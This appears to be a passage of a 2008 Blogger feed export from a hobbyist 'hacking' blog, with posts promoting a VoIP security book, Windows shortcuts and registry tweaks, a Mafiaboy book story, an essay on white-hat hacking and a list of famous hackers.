to escape the tyranny of big telecom and make phone calls over the Internet. But while VoIP may be cheap and convenient, it's notoriously lacking in security. With little effort, attackers can eavesdrop on conversations, disrupt phone calls, inject content into existing conversations, change caller IDs, and access sensitive information-all without the awareness of the VoIP users making the phone calls. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Hacking VoIP ( No Starch Press, October 2008, 232 pp, ISBN 9781593271633 ) approaches VoIP security from two angles, explaining VoIP's many security holes to both hackers and administrators. The book raises awareness of the importance of VoIP security, describes potential attacks, explains VoIP's biggest weaknesses, and offers solutions for protecting against potential exposure and attacks. Readers learn how to defend against VoIP attacks as they explore issues with VoIP security and the boundaries of VoIP protocols.&lt;br /&gt;&lt;br /&gt;"VoIP is fun, but it's remarkably easy to attack," said No Starch Press founder Bill Pollock. "People think that when they pick up the telephone they're on a secure line, but not when that call is being made over VoIP. Hacking VoIP demonstrates just how easy it is to attack VoIP, and how best to plug those security holes."&lt;br /&gt;&lt;br /&gt;Hacking VoIP explains every aspect of VoIP security, discusses popular security assessment tools, and explores the inherent vulnerabilities of common hardware and software packages. Readers learn how to:&lt;br /&gt;&lt;br /&gt;Identify and defend against VoIP security attacks such as eavesdropping, audio injection, caller ID spoofing, and VoIP phishing &lt;br /&gt;Audit VoIP network security and assess the security of enterprise-level VoIP networks such as Cisco, Avaya, and Asterisk and home implementations like Yahoo! and Vonage &lt;br /&gt;Use VoIP protocols like H.323, SIP, RTP, and IAX &lt;br /&gt;Locate potential vulnerabilities in any VoIP network &lt;br /&gt;Use both existing and newly released VoIP security tools&lt;br /&gt;Whether setting up and defending VoIP networks against attacks or just having sick fun testing the limits of VoIP security, Hacking VoIP is every user's go-to source for VoIP security and defense.&lt;br /&gt;&lt;br /&gt;For more information&lt;br /&gt;visit &lt;a href="http://www.nostarch.com"&gt;www.nostarch.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1841488986998853771?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1841488986998853771/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1841488986998853771' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1841488986998853771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1841488986998853771'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/11/hacking-voip-new-book-shows-how-easy-it.html' title='Hacking VoIP-- New Book Shows How Easy it Is to Attack VoIP'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-4252333625398089179</id><published>2008-10-31T20:13:00.002+05:30</published><updated>2008-10-31T20:38:41.537+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>[basics]WINDOWS SHORTCUTS</title><content type='html'>You can avoid reaching for the mouse if you are familiar with keyboard shortcuts. If you forget one of these, use the mouse and go to the menu bar. In each pull down menu you will see keyboard commands given in the right side of the window.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Commonly used keyboard combinations&lt;br /&gt;&lt;br /&gt;Ctrl+N Open a new word document quickly.&lt;br /&gt;Ctrl+O Opens a previously saved document.&lt;br /&gt;Ctrl+W Closes the active window, but does not Exit Word.&lt;br /&gt;Ctrl+S Saves the active document with its current file name, location and format.&lt;br /&gt;Ctrl+P Prints the active file, also gives the opportunity to change print options&lt;br /&gt;Alt+F4 Exit - Closes Microsoft Word.&lt;br /&gt;Ctrl+Z Undo the last action. This selection can be repeated several times.&lt;br /&gt;Ctrl+Y Redo - After an action has been undone, it can be reinstated in the document.&lt;br /&gt;&lt;br /&gt;Ctrl+X Cut- Removes the selection from the active document and places it on the clipboard.&lt;br /&gt;Ctrl+C Copies the selection to the clipboard&lt;br /&gt;Ctrl+V Paste - Inserts the contents of the clipboard at the insertion point (cursor) or whatever is selected.&lt;br /&gt;Ctrl+A Selects all text and graphics in the active window.&lt;br /&gt;Ctrl+F Find - Searches for specified text in the active document&lt;br /&gt;Ctrl+B Bold - Formats selected text; make text bold, or remove bold formatting&lt;br /&gt;Ctrl+I Italic - Formats selected text; make text italic or remove italic&lt;br /&gt;Ctrl+U Underline - Formats selected text; make text underlined or remove underline&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-4252333625398089179?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/4252333625398089179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=4252333625398089179' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4252333625398089179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4252333625398089179'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/basicswindows-shortcuts.html' title='[basics]WINDOWS SHORTCUTS'/><author><name>Karan</name><uri>http://www.blogger.com/profile/01506768020568385459</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-3054733517224163436</id><published>2008-10-31T20:11:00.003+05:30</published><updated>2008-10-31T20:35:04.471+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Registry'/><title type='text'>real tricks 5</title><content type='html'>Change Start Button Text in Windows&lt;br /&gt;&lt;br /&gt;First you need to download this software below.....&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://www.softpedia.com/progDownload/Resource-Hacker-Download-1520.html"&gt;http://www.softpedia.com/progDownload/Resource-Hacker-Download-1520.html&lt;/a&gt;&lt;br /&gt;then follow the below steps after opening resource hacker&lt;br /&gt;1. Open “%windir%\Explorer.exe” file in Resource Hacker.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;2. Goto:&lt;br /&gt;“String Table -&gt; 37 -&gt; 1033 -&gt; 578” (If you are using Luna theme)&lt;br /&gt;“String Table -&gt; 38 -&gt; 1033 -&gt; 595“ (If you are using Windows Classic theme)&lt;br /&gt;3. You’ll get a string “start”. Just change it with whatever text you want to show. Make sure you put&lt;br /&gt;quotes.&lt;br /&gt;4. Compile the script and save the file. Thats it. You have done.&lt;br /&gt;also save this settings as "newexplorer.exe"&lt;br /&gt;now navigate to&lt;br /&gt;HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon&lt;br /&gt;In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data:&lt;br /&gt;line, enter the name that was used to save the modified explorer.exe file. Click OK&lt;br /&gt;Close Registry Editor and either log off the system and log back in&lt;br /&gt;have fun&lt;br /&gt;comments please!!!&lt;br /&gt;but no offences&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-3054733517224163436?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/3054733517224163436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=3054733517224163436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3054733517224163436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3054733517224163436'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/real-tricks-5.html' title='real tricks 5'/><author><name>Karan</name><uri>http://www.blogger.com/profile/01506768020568385459</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-5704091808843291928</id><published>2008-10-27T19:51:00.003+05:30</published><updated>2008-10-27T20:08:13.791+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><category scheme='http://www.blogger.com/atom/ns#' term='History'/><title type='text'>MafiaBoy is Back!!!</title><content type='html'>Yes he is back!!!The 16- year old kid who brought down the internet biggies like yahoo and CNN.com to there knees way back in 2000.Michael Calce reintroduces himself in his new book.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you dont know whom i am talking about,you may like to know about &lt;a href="http://ankitunleashed.blogspot.com/2008/10/ten-biggest-legend-of-hacker-universe.html"&gt;ten biggest legends of hackers on universe&lt;/a&gt; first.&lt;br /&gt;&lt;br /&gt;Most people, even the computer illiterate, know him as Mafiaboy, the online nickname he used while causing havoc on the Internet in 2000 by temporarily shutting down websites like Yahoo.com and CNN.com.&lt;br /&gt;&lt;br /&gt;By bombarding such e-commerce goliaths with a series of information overloads, known as denial-of-service attacks, Calce caught the undivided attention of an industry very high on its potential in 2000. Not bad for a 15-year-old boy working from a personal computer in his father's home in tranquil Ile Bizard.&lt;br /&gt;&lt;br /&gt;But his book, Mafiaboy: How I Cracked the Internet and Why it's Still Broken, co-written with Montreal journalist Craig Silverman, is not a boastful tale.&lt;br /&gt;&lt;br /&gt;"The ultimate goal of the book is to say, 'Here is my story. This is what I experienced.' Hopefully, it will prevent a Mafiaboy 2.0," said Calce, slipping in a computer reference likening a potential hacker to a software update. Now 23, Calce hopes to return to school and continue his current work as a computer consultant.&lt;br /&gt;&lt;br /&gt;"I want to get the message across that I realize what I did was wrong so hopefully other people won't do the same thing. I wanted to let the reader become me and see what I went through. Hopefully, when they read this they'll say, 'I don't want to go through what this kid went through.' Nobody should lose four years of their life," he said, referring to the length of time he was caught up in the justice system.&lt;br /&gt;&lt;br /&gt;Full of many behind-the-scenes surprises, the book is a remarkably detailed account of Calce's life leading up to the attacks and what happened to him afterward. He was arrested by the RCMP and dragged through a media frenzy while experts tried to grasp what he had actually accomplished. He was charged, eventually pleaded guilty, and spent eight months in a youth home.&lt;br /&gt;&lt;br /&gt;Although his identity was protected in Canada under legislation protecting young offenders, several U.S. media outlets published his name.&lt;br /&gt;&lt;br /&gt;At the start of the investigation, speculation placed Mafiaboy among the most sophisticated hackers on the Internet. By the time of his arrest, Calce was criticized among his peers and police who ranked him as a "script-kiddie," or an amateur hacker.&lt;br /&gt;&lt;br /&gt;While serving as a cautionary tale, the book also challenges those opinions.&lt;br /&gt;&lt;br /&gt;It details how Calce methodically stole bandwidth from hundreds of computers while preparing for his first attack on Yahoo.com, which was merely intended as a test to impress experienced hackers he admired.&lt;br /&gt;&lt;br /&gt;"Obviously, (the RCMP) downplayed what I did, which is fine. I don't resent it and it doesn't bother me. Let them say whatever they want to say. I know the truth and I felt the story was misinterpreted," Calce said.&lt;br /&gt;&lt;br /&gt;"Even some IT security experts came forward and said 'it's rather easy to do what he did.' I don't know what these people were doing when they were 15 years old. But when you're 15 and you're breaching university (computer networks), making a network, preparing to launch a denial-of-service attack, I don't think it's easy at all."&lt;br /&gt;&lt;br /&gt;"It was weird. (The RCMP) didn't want people to panic, but at the same time, they were saying any 15-year-old could do this."&lt;br /&gt;&lt;br /&gt;The book is more than just a rehashing of events. It is at times a very personal look at the realities of a young teenager growing up among divorced parents while simply not fitting into the structured environment of high school. Silverman interviewed several of Calce's friends and closest relatives while also researching the background of the RCMP's investigation.&lt;br /&gt;&lt;br /&gt;The book is not just about how Calce saw the world while it was so interested in him back in 2000, but also about how the world saw him.&lt;br /&gt;&lt;br /&gt;"There is some touchy stuff in there. But if you're going to do the book, you have to sort of go all the way. You have to lay everything out," Silverman said, while acknowledging not everyone will like Calce as a teenager.&lt;br /&gt;&lt;br /&gt;"There are parts of his life that aren't flattering. There are parts where he was obviously doing bad things. They are in there. That's another thing that makes the book worth doing. I didn't get any push back from Michael to leave those things out. The flaws are in there. It is not a whitewash, and, hopefully, people will see it as a cautionary tale and not a celebration of what happened. That would be the worst-case scenario."&lt;br /&gt;&lt;br /&gt;Calce agrees that the best approach was to show his life as it was back then, warts and all.&lt;br /&gt;&lt;br /&gt;"We didn't try to make it look like I was a good guy," he said. "I admit to being a trash talker and admit to being immature. But what do people expect from a 15-year-old?"&lt;br /&gt;&lt;br /&gt;you may like reading:-&lt;a href="http://ankitunleashed.blogspot.com/2008/10/ten-biggest-legend-of-hacker-universe.html"&gt;Ten biggest legends of hacker universe.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source:internet&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-5704091808843291928?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/5704091808843291928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=5704091808843291928' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5704091808843291928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5704091808843291928'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/mafiaboy-is-back.html' title='MafiaBoy is Back!!!'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8114387565946134575</id><published>2008-10-18T19:14:00.003+05:30</published><updated>2008-10-18T19:26:40.750+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking: A Research Paper</title><content type='html'>What do you think of when I say the word “Computer Hacker”? You probably think of some sort of criminal bent on gaining access into your bank accounts or remote control over your computer. Granted, hackers have gotten a bad reputation from the media, who sometimes report break-ins of databases, computers, and other virtual resources. However, this does not mean that every hacker has a desire to do harm. In fact, hackers are hardly the bad guys. The word hacker has been so warped and distorted by the media that people now believe that hackers are all criminals and intend to do harm. The truth is, hackers are people and therefore many of them have morals that disallow them to purposely cause harm. I believe that regardless of the stereotypical view of hackers in today’s society, the majority of them help the world of computers rather than damage it. Action should be taken against the people who make the internet unsafe, not the people who make the internet safer. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;According to an article in Whatis.com, hackers primarily come in different shades or colors. The article goes on to say that these colors are significant in determining what kind of hacker he/she is. The lighter the color, the less harm a hacker intends. For example, a hacker with good intent and moral standing is called a white hat hacker. Another point made in the article was that the word “hat” after the color of the hacker is meant to be symbolic of old Western movies where the hero always wore a white hat and “bad guys” wore the black hats (Whatis.com). Black hat hackers, as you may have guessed, are the hackers who do intend harm. They deface websites, steal data, and exploit security flaws for personal gain. Black hats are sometimes called “crackers” as well because they crack programs and passwords to gain entry into a location where they are unauthorized to be (morebusiness.com). There are also hackers who are referred to as gray hat hackers. These are the hackers who have ethics, know what’s right but sometimes act in a negative way when they find a security hole. A gray hat may find a security hole in a website that allows him/her to edit the index page, which is generally the front page of a website, and he/she may exploit it and deface it (usually they only do things that can be easily repaired). Shortly after, he/she may alert the webmaster of the issue with the site (Parker). Gray hats would not do anything more serious than that. The only real bad guys are the crackers/black hats who may gain control over someone’s personal computer only to flood it with spyware. GCIA worker Don Parker says, “What the media attention has resulted in, is an often times distorted reality. The media has given all of this negative attention to hackers, the good guys! Now they are looked at with contempt.”&lt;br /&gt;People were first introduced to hacking when the movie “War Games” came out in 1983. The same year, six teenagers were arrested for breaking into about sixty computers, some of which were government owned and operated machines (pcworld.com). This was probably the time that hackers began to become hated by people because at the time, they didn’t know the potential that there was for hacking to be used for good. Hacking back then was the same as cracking is now. Only about three years later, Congress passed the Computer Fraud and Abuse Act which made it a crime to hack into computers. In 1987, the government organized its first group of computer experts called “Red Teams” to hack its own servers. Since then, even large companies like IBM have maintained its own group of hackers to test their own security since 1990 (searchsecurity.techtarget.com).&lt;br /&gt;&lt;br /&gt;Even though computer hacking of today’s time is generally frowned upon, there are still plenty of people who make an honest living out of it. Just as there is an alternate name for black hat hackers, there is an alternate name for the white hat hackers. White hats today are called IT technicians. IT is short for Information Technology. Their job is keep the internet, as well as businesses, safe from crackers. Some companies pay skilled ITs to attempt to hack their servers and computers to test their security. This is called penetration testing and is basically just ethical hacking. If the hacker is successful in gaining entry into the company’s database or find any exploits, he/she will alert the company of the problem and inform them on how to go about fixing the problem.&lt;br /&gt;Webopedia (http://www.webopedia.com) defines a hacker as “A slang term for a computer enthusiast, i.e., a person who enjoys learning programming languages and computer systems and can often be considered an expert on the subject(s).” The definition goes on to mention of the press warping the term to refer to someone who gains access to a computer system in order to steal or destroy data. Delving even further into the article, it goes on to mention that hackers themselves call these criminals crackers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I’ve already mentioned that an IT’s work is called penetration testing or ethical hacking. However, ethical hacking doesn’t just refer to hacking under contract. Many white hat hackers out there hack into websites or web servers simply for the fun and challenge of doing it. Even if they aren’t affiliated with the company or person who owns the website, the said white hat immediately alerts the webmaster about the security issue upon discovery. This is much like a considerate person finding someone else’s lost valuable lying in the street and then contacting the owner to return it (Parker). Both the white hat’s actions as well as the considerate person actions are ethical in nature.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Organizations such as HackThisSite.org (HTS to most of its members) promote ethical hacking. They offer a training ground for any hacker that wishes to learn more in a safe, legal environment. People of the HTS community share tips and experiences as well as articles promoting the benign use of computer skill. HTS administrator, Silent-Shadow, writes in one article “People that hack for malicious intent violate everything that HTS stands for. HTS is here so that people can learn to find security holes in websites so that they can notify a webmaster of the security issue.” HTS is a living, breathing example of a white hat hacker community.&lt;br /&gt;Crackers and hackers compete for control over servers even now. “As crazy as it seems, there is a war going on out there for the internet,” (qtd. in Kerstein) says Dr. Tom Porter, Ph.D, “Getting into systems is good or bad depending on your vantage point.” (qtd. in Kerstein) Tom Porter works for the World Cup IT community. He reports that the IT community has gotten much better at security the past few years. According to him, IT members are always one step ahead of crackers and malicious hackers (Kerstein). The technology and tools that is offered today can help battle almost any kind of cracking attempt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some hackers and IT workers use collections of phony files and information called honey pots (also called goat files) to lure a cracker (Wang). A honey pot has three main purposes. It lures the cracker away from real, private data that he/she may possibly destroy. Then it alerts the system administrator of the cracker’s actions the moments he/she begins to tamper with the phony data. Hopefully, the phony data will keep the cracker occupied until the authorities track him/her down to their physical location (Wang).&lt;br /&gt;&lt;br /&gt;Until the headlines stop reading “Hacker attacks webserver” and start reading “Cracker attacks webserver”, people will continue to be confused on who the real bad people in the virtual world are. Something must be done to stop all of the crackers for ruining the internet experience for everybody, and I think that the only thing that can stop them is the counter movements of the ethical white hat hackers. Without the white hats, the internet would be a lot more unsafe to surf and would probably call for severe governmental action.&lt;br /&gt;by: Radical Dreamer&lt;br /&gt;original post: &lt;a style="border-bottom-style: groove;" href="http://www.hackthissite.org/articles/read/941"&gt;http://www.hackthissite.org/articles/read/941&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8114387565946134575?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8114387565946134575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8114387565946134575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8114387565946134575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8114387565946134575'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/hacking-research-paper.html' title='Hacking: A Research Paper'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2001848414246157419</id><published>2008-10-16T21:42:00.005+05:30</published><updated>2008-10-27T20:10:52.760+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='History'/><title type='text'>The Ten Biggest Legend of the Hacker Universe</title><content type='html'>well its always tough to stay who is the best.But still here is a refrence to hackers who got popularity as the gaints in the business...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Kevin Mitnick:&lt;/span&gt; Known worldwide as the “most famous hacker” and for having been the first to serve a prison sentence for infiltrating computer systems. He started dabbling when he was a minor, using the practice known as phone phreaking. Although he has never worked in programming, Mitnick is totally convinced that you can cause severe damage with a telephone and some calls. These days, totally distanced from his old hobbies and after passing many years behind bars, he works as a security consultant for multinational companies through his company “Mitnick Security.”&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gary McKinnon:&lt;/span&gt; This 41-year-old Scotsman, also known as Solo, is the perpetrator of what’s considered the biggest hack in the history of computer science - into a military system. Not satisfied with this, in the years 2001 and 2002, he made a mockery of the information security of NASA itself and the Pentagon. Currently he is at liberty awarding his extradition to the U.S. and prohibited access to a computer with Internet connection.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vladimir Levin:&lt;/span&gt; This Russian biochemist and mathematician was accused of having committed one of the biggest bank robberies of all times by means of the cracking technique. From Saint Petersburg, Levin managed to transfer funds estimated at approximately 10 million dollars from Citibank in New York to accounts he had opened in distant parts of the world. He was arrested by INTERPOL in 1995 at Heathrow airport (England). Although he managed to rob more than 10 million dollars, he was only sentenced to three years in prison. Currently he is free.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Kevin Poulsen:&lt;/span&gt; Today he may be a journalist and collaborates with authorities to track paedophiles on the Internet, but Poulsen has a dark past as a cracker and phreaker. The event that brought him the most notoriety was taking over Los Angeles phone lines in 1990. A radio station was offering a Porsche as a prize for whoever managed to be caller number 102. It goes without saying that Poulsen was the winner of the contest.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Timothy Lloyd:&lt;/span&gt; In 1996, information services company Omega, provider of NASA and the United States Navy, suffered losses of around 10 million dollars. And it was none other than Tim Lloyd, an x-employee fired some weeks earlier, who was the cause of this financial disaster. Lloyd left a virtually activated information bomb in the company’s codes, which finally detonated July 31 of that same year.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Robert Morris:&lt;/span&gt; Son of one of the forerunners in the creation of the virus, in 1988 Morris managed to infect no fewer than 6,000 computers connected to the ArpaNet network (one of the precursors to the internet) He did it from the prestigious Massachusetts Institute of Technology (MIT) and for his criminal activities he earned a four year prison sentence, which was finally reduced to community service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;David Smith:&lt;/span&gt; Not all hackers can boast of creating the virus that spread the fastest to computers the width and breadth of the globe - David Smith can. In 1999, the father of the Melissa virus managed to infect and crash 100,000 email accounts with his malicious creation. Smith, who was thirty years old at the time&lt;span style="background-color: rgb(255, 153, 153);"&gt;&lt;/span&gt;, was sentenced and freed on bail.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MafiaBoy:&lt;/span&gt; In February of 2000, many of the most important online companies in the US, such as eBay, Yahoo and Amazon, suffered a technical glitch called Denial of Service, which caused a total of 1700 million dollars in losses. But did these sites know that the perpetrator of the attack was a 16 year-old Canadian who responded to the alias MafiaBoy? Surely not, although it didn’t take them long to find out, thanks to his bragging about his bad deed to his classmates at school.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Masters of Deception (MoD):&lt;/span&gt; MoD was a New York cyber-gang that reached its apogee in the early 90s. Under the cover of different aliases, its biggest attacks involved taking over telephone lines and centres of the Internet, then still in its infancy. During this time McD starred in the historic “battles of the hackers,” along with other groups like the Legion of Doom (LoD), as they sought to destroy each other until the computers couldn’t take it anymore.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Richard Stallman:&lt;/span&gt; Since the early 80s when he was a hacker specializing in artificial intelligence, this hippie-looking New Yorker has been one of the most active militants in favour of free software. At MIT he firmly opposed the privatization of the software used by the institute’s laboratory, so much so they he created what today is known as GNU and the concept of CopyLeft. Popular systems like Linux utilize the GNU mode and Stallman is currently one of the gurus of software democratization.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You may like to read:-&lt;a href="http://ankitunleashed.blogspot.com/2008/10/mafiaboy-is-back.html"&gt;MafiaBoy is back!!&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2001848414246157419?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2001848414246157419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2001848414246157419' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2001848414246157419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2001848414246157419'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/ten-biggest-legend-of-hacker-universe.html' title='The Ten Biggest Legend of the Hacker Universe'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-131652433430929087</id><published>2008-10-14T23:05:00.007+05:30</published><updated>2008-10-24T20:46:28.105+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Registry'/><title type='text'>Real Tricks -4</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Restore The Missing Folder Documents In My Computer&lt;/span&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/DocFolderPaths&lt;br /&gt;Click Edit &gt; New &gt; String Value and give appropriate name with username which is used in Windows (Ex: W5A)&lt;br /&gt;Double click at those value and insert location path where your Documents is (Ex: D:\Documents)&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Removing File Stored from My Computer&lt;/span&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MyComputer/NameSpace/DelegateFolders&lt;br /&gt;Delete subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee} by pressing Del button.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide My Recent Documents&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Click Edit &gt; New &gt; DWORD Value and give name NoRecentDocsMenu.&lt;br /&gt;Then double click at those DWORD Value, and once again give value 1 to activated.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Find Menu&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Click Edit &gt; New &gt; DWORD Value and give name NoFind.&lt;br /&gt;Then double click at those DWORD Value and give value 1 to activated. Restart computer.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Help And Support&lt;/span&gt;&lt;br /&gt;HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer&lt;br /&gt;Make a new DWORD Value - Menu Edit &gt; New &gt; DWORD Value, and give name NoSMHelp.&lt;br /&gt;Then double click at NoSMHelp and fill with value 1 in Value Data. Restart computer.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hide Run Menu&lt;/span&gt;&lt;br 